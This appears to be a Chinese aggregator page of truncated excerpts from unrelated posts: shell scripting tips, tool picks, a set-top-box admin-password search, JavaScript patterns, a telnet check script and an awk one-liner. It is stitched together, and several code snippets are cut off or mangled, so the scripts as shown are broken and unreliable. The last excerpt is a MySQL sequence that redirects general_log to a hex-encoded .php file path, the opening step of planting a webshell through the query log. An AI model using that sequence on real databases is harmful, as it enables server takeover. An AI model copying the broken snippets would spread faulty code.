如何能让自己的shell显得不那么业余?下面6点实践一定有用. 画外音:本篇文章源自Google的一篇实践,抽取了部分1分钟能读完的内容,加入了一些分析. 一.以下面的语句开场 set -o nounset 在默认情况下,遇到不存在的变量,会忽略并继续执行,而这往往不符合预期,加入该选项,可以避免恶果扩大,终止脚本的执行. 画外音:有些变量名的手误,会让人崩溃的调试半天,通过这个方式,这类手误秒发现. set -o errexit 在默认情况下,遇到执行出错,会跳过并继续执行,而这往往不符合预期…
Shell 小技巧 ${} 的使用 截断变量 去掉左边 使用 # (最短匹配)或 ## (最长匹配)方法为 ${var#<模式>} var=DUMMY echo ${var#*M} # MY echo ${var##*M} # Y 去掉右边 使用 % (最短匹配)或 %% (最长匹配)方法为 ${var%<模式>} var=DUMMY echo ${var%M*} # DUM echo ${var%%M*} # DU 字符串提取 索引从0开始,使用 :<索引> 定位开始…
工具推荐 命令行中很方便的代码统计工具---cloc 强大的分屏工具---tmux 最舒服的markdown书写工具---typora markdown图床推荐--七牛云 模拟生成熵(避免暴力手搓键盘) 计算机本身是可预测的系统(比如开始的过程),因此,计算机算法不可能产生真正的随机数.但是机器的环境中充满了各种各样的随机性的噪声,如硬件设备发生中断的时间,用户点击鼠标的时间间隔等,这些事件是完全随机的,事先无法预测.而Linux内核实现的随机数产生器正是利用系统中的这些随机噪声来产生高质量随机…
可以在sh内使用set -x,使用后,会打印每条命令的输出 在shell中设置 set -x 开启 set +x 关闭 也可以在执行脚本时加参数 sh -x *.sh…
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输.2.4 GHz 频段本来就很拥挤,用户体验并不好,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会因为干扰起到反作用. 然而要对 HC2600 机顶盒作任何配置修改,都需要管理员密码.网上搜索到 HC2600…
当前目录下后缀为sh的文件,改为后缀shell. 这里列出两种方法,先看第一种.方法1:#!/bin/bash str=`find ./ -name \*.sh`  # 会产生一个列表 file=" $str "   # 需要在列表前后加空格,在shell中,列表或数组的括号前后必须是空格 for i in $file do mv $i ${i%sh}shell done思路很简单,用find找到符合的文件,存如数组.然后使用mv修改文件名. 其中${i%sh}shell是修改后缀后的…
内容概要 作用域安全的构造函数 惰性载入函数 函数绑定 函数节流 一.作用域安全的构造函数 我们知道,当使用new操作符调用构造函数时,构造函数内部的this会指向新创建对象的实例. function Person(name){ this.name=name; } var p=new Person('peter'); console.log(p.name);//结果:perter 但是,如果没有使用new操作符,而是将构造函数当作普通函数调用时,this会指向window对象. var p1=P…
api_url= #echo ${api_url/:/ }a #echo `echo $api_url|sed -i 's/:/ /' ` #|sed -i 's/:/ /' ` #sed 'as/:/ /' (;)|telnet ${api_url/:/ }|cat #替换并检测数据 str4=`(;; ; ; ) | telnet ${IP} | grep ${tempValue}` num4=`echo ${#str4}` ];then echo "==::在a.log文件中没有找到关键字…
# awk '{a[$1]++;a[$2]++}END{for (i in a)print i "\t" a[i]}' list | grep -w 2 | awk '{print $1}' > double.list # grep -f double.list list10.145.137.125 10.145.137.130 18110.145.137.130 10.145.137.125 159100.104.0.46 100.104.0.54 12210.151.132.…
set global general_log=on;set @file=0x653A2F2F7777772F2F782E706870;set global general_log_file=@file;set global general_log=off;…